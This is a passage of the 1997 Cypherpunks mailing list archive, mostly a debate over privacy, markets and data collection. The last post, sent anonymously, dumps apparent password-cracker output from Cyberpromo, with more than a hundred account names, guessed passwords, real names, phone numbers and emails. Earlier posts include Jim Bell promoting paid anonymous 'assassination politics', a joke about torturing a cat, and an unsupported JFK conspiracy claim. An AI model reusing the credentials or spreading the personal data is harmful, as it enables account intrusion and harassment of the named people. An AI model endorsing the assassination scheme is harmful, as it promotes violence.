payment schemes such as credit cards and checks have _not_ destroyed the
U.S. and Western economies as evidence that Adam's thesis is incorrect.

(One might point to the correlation between increased credit and check
instruments over the past 50 years and the rise of government spending, but
such a correlation would not, in any reasonable view, be causative. I'll
elaborate on this if there's real interest.)


--Tim May

(I'm not arguing against privacy. I just don't see the validity of some of
the attempts to "prove" that privacy enhances markets (whatever that means)
and that non-privacy undermines markets. Such arguments are mostly
unpersuasive and depend strongly on assumptions and interpretations and
selective admission of facts.)

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jonathan at gaw.net  Sat Mar 22 09:48:25 1997
From: jonathan at gaw.net (Jonathan Gaw)
Date: Sat, 22 Mar 1997 09:48:25 -0800 (PST)
Subject: "why privacy" revisited
Message-ID: <3.0.32.19970322114749.006dfcbc@pconline.com>


when i talk to people like the Direct Marketer's Assn., they honestly don't
understand what the fuss is about. Their attitude is, quite literally,
"What's the harm being done here?" 

what do you think the community interested in privacy protection can do to
best illustrate to the general public the "harm" in the collection of
personal information?

Jonathan Gaw


At 09:28 AM 3/22/97 -0800, Timothy C. May wrote:
>
>Much as I agree with the point that privacy is desirable, I find the
>"market efficiency" arguments unpersuasive, at least as presented below:
>
>At 1:01 PM +0000 3/22/97, Adam Back wrote:
>
>>You requested an argument couched market economic terms as to why
>>reduced privacy might be a bad idea for the market efficiency.
>>Consider:
>>
>>Less privacy is a bad thing in market economics terms, because as
>>privacy takes a downwards spiral, which leads to ever increasing
>>government intervention, increasing sizes of governments, fascism,
>>etc. the free market economy will go to hell.  Poverty, and food
>>shortages will result, a la the former USSR, which is slowly
>>recovering from the decline caused by statist, facist policies.  We on
>>the other hand, absent pressure from outside government, law
>>enforcement and secret services circles are collectively headed into
>>that fascist driven downward spiral.in economics.
>
>Or, since we all understand perfectly well that *credit cards* and *checks*
>and other forms of *electronic payment* are not private in the way cash is,
>Adam's argument could read as follows:
>
>"Using credit cards and checks is a bad thing in market economics terms,
>because as privacy takes a downwards spiral, which leads to ever increasing
>government intervention, increasing sizes of governments, fascism, etc. the
>free market economy will go to hell.  Poverty, and food shortages will
>result, a la the former USSR, which is slowly recovering from the decline
>caused by statist, facist policies.  We on the other hand, absent pressure
>from outside government, law enforcement and secret services circles are
>collectively headed into that fascist driven downward spiral.in economics."
>
>In other words, I submit the fallacy of this comment, that traceable
>payment schemes such as credit cards and checks have _not_ destroyed the
>U.S. and Western economies as evidence that Adam's thesis is incorrect.
>
>(One might point to the correlation between increased credit and check
>instruments over the past 50 years and the rise of government spending, but
>such a correlation would not, in any reasonable view, be causative. I'll
>elaborate on this if there's real interest.)
>
>
>--Tim May
>
>(I'm not arguing against privacy. I just don't see the validity of some of
>the attempts to "prove" that privacy enhances markets (whatever that means)
>and that non-privacy undermines markets. Such arguments are mostly
>unpersuasive and depend strongly on assumptions and interpretations and
>selective admission of facts.)
>
>Just say "No" to "Big Brother Inside"
>We got computers, we're tapping phone lines, I know that that ain't allowed.
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
******************************************************
Jonathan Gaw
The Star Tribune
Minneapolis, Minnesota
jonathan at gaw.net
*********Wasting Digital Bandwidth Since 1986*********





From adam at homeport.org  Sat Mar 22 09:55:33 1997
From: adam at homeport.org (Adam Shostack)
Date: Sat, 22 Mar 1997 09:55:33 -0800 (PST)
Subject: "why privacy" revisited
In-Reply-To: <3.0.32.19970322114749.006dfcbc@pconline.com>
Message-ID: <199703221752.MAA26247@homeport.org>


	Bring down the price of accumulating the information.  Most
people are shocked to discover how much anyone can find out about them
& their lives, and worry about it, even if they can't put their finger
on the reason.  Asking the DMA about privacy is like asking Catholic
priests about birth control.  Sure, they have an opinion, but there
might be better sources of information.  

Adam

Jonathan Gaw wrote:
| when i talk to people like the Direct Marketer's Assn., they honestly don't
| understand what the fuss is about. Their attitude is, quite literally,
| "What's the harm being done here?" 
| 
| what do you think the community interested in privacy protection can do to
| best illustrate to the general public the "harm" in the collection of
| personal information?
| 
| Jonathan Gaw
| 
| 
| At 09:28 AM 3/22/97 -0800, Timothy C. May wrote:
| >
| >Much as I agree with the point that privacy is desirable, I find the
| >"market efficiency" arguments unpersuasive, at least as presented below:
| >
| >At 1:01 PM +0000 3/22/97, Adam Back wrote:
| >
| >>You requested an argument couched market economic terms as to why
| >>reduced privacy might be a bad idea for the market efficiency.
| >>Consider:
| >>
| >>Less privacy is a bad thing in market economics terms, because as
| >>privacy takes a downwards spiral, which leads to ever increasing
| >>government intervention, increasing sizes of governments, fascism,
| >>etc. the free market economy will go to hell.  Poverty, and food
| >>shortages will result, a la the former USSR, which is slowly
| >>recovering from the decline caused by statist, facist policies.  We on
| >>the other hand, absent pressure from outside government, law
| >>enforcement and secret services circles are collectively headed into
| >>that fascist driven downward spiral.in economics.
| >
| >Or, since we all understand perfectly well that *credit cards* and *checks*
| >and other forms of *electronic payment* are not private in the way cash is,
| >Adam's argument could read as follows:
| >
| >"Using credit cards and checks is a bad thing in market economics terms,
| >because as privacy takes a downwards spiral, which leads to ever increasing
| >government intervention, increasing sizes of governments, fascism, etc. the
| >free market economy will go to hell.  Poverty, and food shortages will
| >result, a la the former USSR, which is slowly recovering from the decline
| >caused by statist, facist policies.  We on the other hand, absent pressure
| >from outside government, law enforcement and secret services circles are
| >collectively headed into that fascist driven downward spiral.in economics."
| >
| >In other words, I submit the fallacy of this comment, that traceable
| >payment schemes such as credit cards and checks have _not_ destroyed the
| >U.S. and Western economies as evidence that Adam's thesis is incorrect.
| >
| >(One might point to the correlation between increased credit and check
| >instruments over the past 50 years and the rise of government spending, but
| >such a correlation would not, in any reasonable view, be causative. I'll
| >elaborate on this if there's real interest.)
| >
| >
| >--Tim May
| >
| >(I'm not arguing against privacy. I just don't see the validity of some of
| >the attempts to "prove" that privacy enhances markets (whatever that means)
| >and that non-privacy undermines markets. Such arguments are mostly
| >unpersuasive and depend strongly on assumptions and interpretations and
| >selective admission of facts.)
| >
| >Just say "No" to "Big Brother Inside"
| >We got computers, we're tapping phone lines, I know that that ain't allowed.
| >---------:---------:---------:---------:---------:---------:---------:----
| >Timothy C. May              | Crypto Anarchy: encryption, digital money,
| >tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
| >W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
| >Higher Power: 2^1398269     | black markets, collapse of governments.
| >"National borders aren't even speed bumps on the information superhighway."
| >
| >
| >
| >
| >
| ******************************************************
| Jonathan Gaw
| The Star Tribune
| Minneapolis, Minnesota
| jonathan at gaw.net
| *********Wasting Digital Bandwidth Since 1986*********
| 


-- 
"Well, that depends.  Do you mind the end of civilization as we know
it?"









From jimbell at pacifier.com  Sat Mar 22 10:01:01 1997
From: jimbell at pacifier.com (jim bell)
Date: Sat, 22 Mar 1997 10:01:01 -0800 (PST)
Subject: PGP Security
Message-ID: <199703221800.KAA19996@mail.pacifier.com>


At 07:16 PM 3/20/97 -0600, Igor Chudov @ home wrote:
>Mark M. wrote:
>> 
>> Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did receive
>> the following message which originated from "TruthMonger."  Shortly after I
>> received the message, anon.nymserver.com closed down all of its free,
>> anonymous accounts due to "abuse."
>> 
>
>This is mostly addressed to jimbell: jim, it is now obvious that
>the remailer network is as weak as a 5 year old child. It cannot
>possibly withstand even mildest forms of "abuse".
>
>Due to this fact, I question the viability of your assassination 
>politics idea as it does not seem possible to safely operate an
>assassination bot.

I don't doubt that remailers need to be strengthened to support a "classic 
AP" system.  However, complicating (or, perhaps, simplifying; depending on 
your point of view...) the issue is the fact that an AP-type system is going 
to be inherently self-protecting:  Even if I wasn't inclined to donate to 
see the death of anybody else, I'd want to protect the underlying system to 
ensure its continued existence.

I (and some others) are convinced that an AP-system would totally eliminate 
the series of tyrannies that governments have been throughout history.  
That, if true, is a _very_ valuable accomplishment to most of us, one for 
which we'd be wise to pay to achieve.  And generally, where there is a 
demand, a free market supplies that desire with a product.  


Jim Bell
jimbell at pacifier.com





From tcmay at got.net  Sat Mar 22 10:58:53 1997
From: tcmay at got.net (Timothy C. May)
Date: Sat, 22 Mar 1997 10:58:53 -0800 (PST)
Subject: "why privacy" revisited
In-Reply-To: <3.0.32.19970322114749.006dfcbc@pconline.com>
Message-ID: <v03007813af59dc8615c6@[207.167.93.63]>


At 11:47 AM -0600 3/22/97, Jonathan Gaw wrote:
>when i talk to people like the Direct Marketer's Assn., they honestly don't
>understand what the fuss is about. Their attitude is, quite literally,
>"What's the harm being done here?"

And why should they care what "harm" (putatively) is being done to those
who voluntarily use credit cards, etc.?

The issue is really quite analogous to the situation with those who
publically post articles, such as we are doing here (when secure nyms are
not being used). Imagine someone writing:

"when i talk to people like the maintainers of the Cypherpunks archive
site, they honestly don't understand what the fuss is about. Their attitude
is, quite literally, "What's the harm being done here?" "

Indeed, those who post public articles do so with the realization that
their words may be remembered, may be linked to their meatspace names, may
be filed away in dossiers, and so on. How could it be otherwise in a
nominally free society?

(Cypherpunks should of course reject statist laws like the so-called "Data
Privacy Laws" many European nations have adopted. If Alice says something
publically, or used the bankruptcy courts, or whatever, and Bob "remembers"
it, either in writing or in his head, no one is entitled to inspect his
file cabinets or tell him what he is allowed to "remember." If Alice wants
parts of her life held private, it is almost completely her responsibility
to keep these parts private, not rely on men with guns to do it for her.)


>what do you think the community interested in privacy protection can do to
>best illustrate to the general public the "harm" in the collection of
>personal information?

This places the focus in the wrong place. The problem is not with the
compilers of publically-offered information (assuming no contract exists to
keep the information offered private).

We should never, never, never push for legislative fixes to such alleged
problems. (For many reasons. Eric Hughes has pointed out some of them,
others of us have written extensively about technological over legislative
fixes, etc.)

"Educating the masses" is also usually a waste of time.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From rah at shipwright.com  Sat Mar 22 11:07:32 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 22 Mar 1997 11:07:32 -0800 (PST)
Subject: A cypherpunk push-poll ? (Was Re: Dorothy and the four Horseman)
In-Reply-To: <Pine.LNX.3.95.970319102301.4735C-100000@fractal.mta.ca>
Message-ID: <v03020920af59dd3df26e@[139.167.130.246]>


It seems to me that that whole "survey" was a classic example of "push"
polling.

That is, a poll where leading and inflamitory questions area asked about a
political opponent so that the respondent is incited to vote against that
opponent.

Maybe there should be a cypherpunk counter-poll.

Any ideas for questions?

Cheers,
Bob

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From dthorn at gte.net  Sat Mar 22 11:08:08 1997
From: dthorn at gte.net (Dale Thorn)
Date: Sat, 22 Mar 1997 11:08:08 -0800 (PST)
Subject: PGP Security
In-Reply-To: <5PTX4D3w165w@bwalk.dm.com>
Message-ID: <33342DE2.30BD@gte.net>


Dr.Dimitri Vulis KOTM wrote:
> Suppose I want to bet $1000 that Chris Platt's cat, "Ben", won't be
> assassinated until the end of March in some excruciatingly painful way
> (say, skinned alive, soaked in acid, and cut into pieces with an
> acetilene torch :-). What protocols can someone use to bet against me
> and to collect the winnings? (Assume that I'll cheerfully pay up if
> I lose, and that the other party wants to remain anonymous.)

Like Christians and lions - could scalpers resell the bets for a
commission?  Will we have to create an organization of escrow
agents to process the paper?  The possibilities are mind-numbing.

> Another thought just occurred to me - LEA's often advertize hotlines for
> anonymous tips - a "stukach" is given a code and if his tip works,
> supposedly collects a payoff. Doesn't he have to give his ss# so his
> income can be taxed?

Well, the feds will have to create massive new databases to track
the "street" language that develops around this stuff, so they can
present the "untainted evidence" of "intent" in court, in case they
can't establish a conventional audit trail.

The feds have supposedly been using the old "compartmentalization"
(multi-tier) technique of running their illegal operations, where
one layer (essential for tracing) can be eliminated by eliminating
one person in some cases, so maybe something along that line will
do the job here.






From dthorn at gte.net  Sat Mar 22 11:54:59 1997
From: dthorn at gte.net (Dale Thorn)
Date: Sat, 22 Mar 1997 11:54:59 -0800 (PST)
Subject: Crypto Info War
In-Reply-To: <199703221459.JAA19848@dhp.com>
Message-ID: <333438DC.D04@gte.net>


lucifer Anonymous Remailer wrote:
> > DOD AUTHORIZATION--INFORMATION WARFARE [5]
> > Committee on National Security: Subcommittee on Military Procurement
> > and Subcommittee on Military Research and Development held a joint
> > hearing on fiscal year 1998 Department of Defense authorization
> > request--Information Warfare. Testimony was heard from the following
> > officials of the Department of Defense: Vice Adm. Arther K. Cebrowski,
> > USN, Director, Navy Space, Information Warfare, Command and Control,
> > Chief of Naval Operations; and Marvin Langston, Deputy Assistant Secretary,
> > Navy C41/Electronic Warfare/Space Programs, Office of the Assistant
> > Secretary of the Navy (Research, Development and Acquisition);
>   Who was it who funded the development of RSA?
>   Can you say "Navy?" Sure, you can.

The Navy backs that disinfo-scumbag Chomsky as well.  But, the Navy
isn't number one - they took the pres' over to Walter Reed first to
remove the brain and bullets before shipping the corpse back to
Bethesda for the "autopsy".  Hence the reference in the official FBI
report to "surgery in the head area" when the body was removed from
the cheap shipping coffin in the body bag.






From dthorn at gte.net  Sat Mar 22 12:09:57 1997
From: dthorn at gte.net (Dale Thorn)
Date: Sat, 22 Mar 1997 12:09:57 -0800 (PST)
Subject: UK govt. to ban PGP (was Re: UK TTP Paper)
In-Reply-To: <1.5.4.32.19970321234615.008459a8@pop.pipeline.com>
Message-ID: <33343C5C.6D8D@gte.net>


Toto wrote:
> We have elected legislators to vote for laws concerning the latest
> ten-second sound-byte controversy on the Jenny Jones Show,

I used to watch her all the time when I had a TV.  She's a babe!






From camcc at abraxis.com  Sat Mar 22 15:12:42 1997
From: camcc at abraxis.com (Alec)
Date: Sat, 22 Mar 1997 15:12:42 -0800 (PST)
Subject: Remailers: Free vs. Fee
Message-ID: <3.0.1.32.19970322175306.007ca580@smtp1.abraxis.com>


-----BEGIN PGP SIGNED MESSAGE-----

A question for those legally-minded list members.

Poorly put:

Does the requirement an individual pay a fee (or the acceptance of a fee) for
remailing services create a liability on the part of the remailer in regard
to the content of the message?

Or, if the service is free does the remailer have less risk than if he
charged for it?

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzRiyyKJGkNBIH7lAQHaxwP/Z73JUcG9qqS2cvvSGzforGEWstlRUv8v
N9p6XUmoYoR2wo+D2wzmWsI8suIPGOwBHV5aKAds/tfJtzoPEQ7iEszREBpK1afT
6/D+KtEo1+Q0NNC8eatiJELvwqGUBBjzRXL1QP95fMQXoP0Gk70HjFZegLYWw7Fx
FSUS/XKny/g=
=sdLH
-----END PGP SIGNATURE-----






From nobody at squirrel.owl.de  Sat Mar 22 18:22:21 1997
From: nobody at squirrel.owl.de (Secret Squirrel)
Date: Sat, 22 Mar 1997 18:22:21 -0800 (PST)
Subject: some /etc/passwd stuff from Cyberpromo
Message-ID: <19970322235446.3478.qmail@squirrel.owl.de>


A little mouse just came into my house and said that the following
uz3rz at cyberpromo.com have the following passwords:

	- Ignoramus.

Guessed broot [<no-ciphertext>]  System Administrator [etc_passwd.fixed /bin/csh]
Guessed box12 [box12 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed valscan [valscan [SINGER]]  Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box8 [box8 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed greatsex [greatsex [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed makemony [greatsex [SINGER]]  Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed greatads [greatads [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed vic [greatads [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box2 [box2 [SINGER]]   [etc_passwd.fixed ]
Guessed box7 [box7 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed checknsee [checknsee [DISNEY]]  Steve Dykstra,Check-n-See Network,413-283-6645, [etc_passwd.fixed /bin/tcsh]
Guessed fixit [fixit [GEORGE]]  Terry Judge,,216-745-9444,amerwtrprf at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed box9 [box9 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed results [results [SINGER]]  Michaek J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box10 [box10 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed getrich [getrich [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box5 [box5 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box11 [box11 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box3 [box3 [SINGER]]  Mike Singer,,, [etc_passwd.fixed /bin/tcsh]
Guessed box4 [box4 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box6 [box6 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed gics [gics [SINGER]]  Michael J. Singer,,419-843-6100, [etc_passwd.fixed /bin/tcsh]
Guessed julie [julie [SINGER]]  Michael Singer,,, [etc_passwd.fixed /bin/tcsh]
Guessed box1 [box1 [SINGER]]  Michael Singer,, , [etc_passwd.fixed /bin/tcsh]
Guessed action [action [SUCCESS]]  Thomas Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed simple [simple [SOLUTION]]  Larry Henry,Simple Solutions + Co. Inc,912-937-5606, [etc_passwd.fixed /bin/tcsh]
Guessed winnernet [winnernet [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed newma [newma [DANIEL]]  Jay Schneiderman,,718-379-1197, [etc_passwd.fixed /bin/tcsh]
Guessed coolbreeze [coolbreeze [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed esi [esi [RICHARD]]  Richard Damewood,,, [etc_passwd.fixed /bin/tcsh]
Guessed freebook [freebook [JOSEPH]]  Joe Dewey,Great Ad-Ventures,208-336-7520,joseph732 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goldking [goldking [SPECIAL]]  Daniel Sheehy,,707-822-8324, [etc_passwd.fixed /bin/tcsh]
Guessed rav537 [rav537 [NATHAN]]  Rich Verhoef,,509-882-4733, [etc_passwd.fixed /bin/tcsh]
Guessed bfranklin [bfranklin [SUCCESS]]  Jon Bender / Gary Roggles,,919-848-5698 Fax,peakpr4mer at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed ourcoinc [ourcoinc [PROSPER]]  Sheryl Joyner,Ourco Inc.,301-931-0868, [etc_passwd.fixed /bin/tcsh]
Guessed bfepro [bfepro [BFE5253]]  Ben Ewing,BFE Enterprises,502-339-6356, [etc_passwd.fixed /bin/tcsh]
Guessed moneyman [moneyman [SUZANNE]]  Al Walentis,VG Productions,610-370-2340,cyber1 at nni.com [etc_passwd.fixed /bin/tcsh]
Guessed gfaiusa [gfaiusa [MONEY]]  Cliff Durrett,,813-397-3120, [etc_passwd.fixed /bin/tcsh]
Guessed exciting [exciting [SPECIAL]]  Daniel Sheehey,,707-822-8324,djshee at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed autod [autod [GOGO]]  Stephen Gregory,,512-388-0530, [etc_passwd.fixed /bin/tcsh]
Guessed lifeinfo [lifeinfo [LIFE]]  Pete Mckeown,Life Extension,303-985-4371,leipro at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed setmefree [setmefree [SECRET]]  Steve Walker,The Financial Alliance,904-387-1628,plsfreeme at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed cowcr [cowcr [COWCR]]  Dr. Cathy L. White-Owen MD,,216-844-5950,whatzmoney at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed gpwhitepaper [gpwhitepaper [FRED]]  Ernest Orwig,Global Perspectives LLC,201-244-1200 x 239, [etc_passwd.fixed /bin/tcsh]
Guessed accobra [accobra [ACCOBRA]]  Glenn Pack,,, [etc_passwd.fixed /bin/tcsh]
Guessed gasoline [gasoline [ANTHONY]]  Mike Jacobellis,,,magnet at exp.net [etc_passwd.fixed /bin/tcsh]
Guessed herpesinfo [herpesinfo [FREECTR]]  Dr. Steve Yates,The Freedom Center,212-281-7397, [etc_passwd.fixed /bin/tcsh]
Guessed richman [richman [SUZANNE]]  Al Walentis,VG Productions,610-370-2340,cyber1 at nni.com [etc_passwd.fixed /bin/tcsh]
Guessed christian [christian [SUCCESS]]  Jon Bender,peakpr4mer at aol.com,, [etc_passwd.fixed /bin/tcsh]
Guessed goinfo [goinfo [GREEN]]  Jim Hill,,609-926-9661, [etc_passwd.fixed /bin/tcsh]
Guessed datalux [datalux [WALLACE2]]  Carole Moses,Crestar Enterprises,516-223-3607,careve at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed matrix [matrix [MATRIX]]  Martin Parker,,matrixfund at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed sti [sti [FROGGY]]  Alain Senac,,970-479-9757, [etc_passwd.fixed /bin/tcsh]
Guessed wwjp [wwjp [TRAVEL]]  Jeff Pinkus,,610-408-0386, [etc_passwd.fixed /bin/tcsh]
Guessed team1 [team1 [SUCCESS]]  Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh]
Guessed genesisgroup [genesisgroup [BRYAN]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed telecomm [telecomm [PARADIGM]]  Greg Scudder,,805-544-6251, [etc_passwd.fixed /bin/tcsh]
Guessed goodchecks [goodchecks [RAINBOW]]  Greg Beasley,National Payment Systems,614-792-9490, [etc_passwd.fixed /bin/tcsh]
Guessed rpalm [rpalm [HAMMER]]  Richard Palmer,Palmer Productions,510-685-7671, [etc_passwd.fixed /bin/tcsh]
Guessed info4unow [info4unow [ASHLEY]]  Marty Figgs,,302-633-4138, [etc_passwd.fixed /bin/tcsh]
Guessed skeptics [skeptics [COWCR]]  Dr. Cathy L. White-Owen MD ,,216-844-5950,whatzmoney at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goodincome [goodincome [MARKETIN]]  Ron Linkous,,804-741-4432,rlink15133 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed tgtbt [tgtbt [COWCR]]  Dr. Cathy L. White-Owen MD ,216-844-5950,whatzmoney at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed mailordman [mailordman [VICTOR]]  Donald Wright,,800-772-0794, [etc_passwd.fixed /bin/tcsh]
Guessed peteexcel [peteexcel [CAMERON]]  Pete Maneos,,610-337-1468,newmedia30 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed higher [higher [SUCCESS]]  Eric gordon,,909-653-2357,teammlm at earthlink.net [etc_passwd.fixed /bin/tcsh]
Guessed gasinfo [gasinfo [ANTHONY]]  Mike Jacobellis,\,,magnet at exp.net [etc_passwd.fixed /bin/tcsh]
Guessed asomerset [asomerset [SOMERSET]]  DIANNA GIBBS,,214 789-2940, [etc_passwd.fixed /bin/tcsh]
Guessed childstory [childstory [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed hokamix [hokamix [STERLING]]  Michael Medefind,Aellen Enterprises,916-987-1234,meandre at christcom.net [etc_passwd.fixed /bin/tcsh]
Guessed gab [gab [NEWLIFE]]  Yvonne Orthmann,,508-428-9101, [etc_passwd.fixed /bin/tcsh]
Guessed galatic [galatic [GALATIC]]  Karl Thompsan,,317-933-2828, [etc_passwd.fixed /bin/tcsh]
Guessed report [report [INTERNET]]  Bryan Sullivan,,805 772-6188, [etc_passwd.fixed /bin/tcsh]
Guessed mountain1 [mountain1 [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed scanman [scanman [ASHLEY]]  DAniel Goutas,,714-897-7542, [etc_passwd.fixed /bin/tcsh]
Guessed bwealthy [bwealthy [SUCCESS]]  Barry Disney,Network Marketing Group,513-554-4843, [etc_passwd.fixed /bin/tcsh]
Guessed truthnet [truthnet [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed essentials [essentials [SUSAN]]  Susan Pottish,,415-453-9546,svand at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed laser1 [laser1 [FREEDOM]]  Bud Riley,,612-224-8331, [etc_passwd.fixed /bin/tcsh]
Guessed mother [mother [ANTHONY]]  Mike and Amy Jacobellis,North Pole Magnet Co,409-840-9407,magnet at iosys.net [etc_passwd.fixed /bin/tcsh]
Guessed freedom4u [freedom4u [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed pyruvate [pyruvate [WHEELS]]  Jerry Schneider,,,pyruvate at ournetwork.com [etc_passwd.fixed /bin/tcsh]
Guessed acarnegie [acarnegie [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed tatiana [tatiana [JOSEPH]]  Jose Diaz,Diaz Specialty Merchandise,718-672-6225, [etc_passwd.fixed /bin/tcsh]
Guessed gor [gor [GORAVANI]]  Das Goravani,Goravani Astrological Services,800-532-6528 or 541-485-8453, [etc_passwd.fixed /bin/tcsh]
Guessed somerset [somerset [SOMERSET]]  Dianna Gibbs,,214-789-2940, [etc_passwd.fixed /bin/tcsh]
Guessed wheels [wheels [WHEELS]]  Tony Marsello,,,multichev at earthlink.net [etc_passwd.fixed /bin/tcsh]
Guessed freeeagle [freeeagle [FREEDOM]]  Joe Reynolds,,, [etc_passwd.fixed /bin/tcsh]
Guessed team2 [team2 [SUCCESS]]  Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh]
Guessed aplus [aplus [STUDY]]  Tim Ryan,A+ Tutors,603-659-5903, [etc_passwd.fixed /bin/tcsh]
Guessed theraven [theraven [KABOOM]]  Leonora Torian,,410-727-2611, [etc_passwd.fixed /bin/tcsh]
Guessed lash [lash [ANTHONY]]  bob Anthony / Larry Kirsch,,954-748-3510, [etc_passwd.fixed /bin/tcsh]
Guessed career [career [CHOICE]]  Jeanette Turner,,941-351-5804, [etc_passwd.fixed /bin/tcsh]
Guessed giveinfo [giveinfo [VINCENT]]  Vincent Garguilo,,718-256-0904,vinigar at peakaccess.net [etc_passwd.fixed /bin/tcsh]
Guessed ournetwork [ournetwork [WHEELS]]  Jerry Schneider,,206-588-0096,75020.2702 at compuserve.com [etc_passwd.fixed /bin/tcsh]
Guessed lightquest [lightquest [GORDON]]  Gordon M. Curry,,972-431-4956,lightquest at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed visionpics [visionpics [RESPONSE]]  Jason Kristofer,Visionary Pics,213-655-7666, [etc_passwd.fixed /bin/tcsh]
Guessed wwjpwwjpwwjp [wwjpwwjpwwjp [TRAVEL]]  Warren,,, [etc_passwd.fixed /bin/tcsh]
Guessed jeffsmoney [jeffsmoney [JEFFSMON]]  Jeff Jacobs,J+J Enterprises,212-290-4517,jeff at superteam.com [etc_passwd.fixed /bin/tcsh]
Guessed global [global [DISCOVER]]  Frank Martinez,Global TradeNetwork,515-279-5204, [etc_passwd.fixed /bin/tcsh]
Guessed linktvmem [linktvmem [LINKTVME]]  Ernie Lamonica,,702-828-9003, [etc_passwd.fixed /bin/tcsh]
Guessed phone [phone [PHONE]]  Susan Pottish,,415-453-9546,svamd at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed products [products [MOUNTAIN]]  Joe Kuhn,,908-220-1110,qwikmail at raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed tnoni [tnoni [HEALTH]]  Michael Avenoso,Riverwood Health,501-253-2535,amstar7 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed stink [stink [GREATSEX]]  Gary Fisher,,415-306-9466, [etc_passwd.fixed /bin/tcsh]
Guessed judge [judge [VANELGOR]]  Howard Van Elgort,,604-246-9114, [etc_passwd.fixed /bin/tcsh]
Guessed beitall [beitall [DOITNOW]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed infolink [infolink [BARRYD]]  Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh]
Guessed bugbox [bugbox [BARRYD]]  Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh]
Guessed seicom [seicom [Hubertt]]  Hubert Trotman,Safari Equities Inc.,718-994-2801, [etc_passwd.fixed /bin/tcsh]
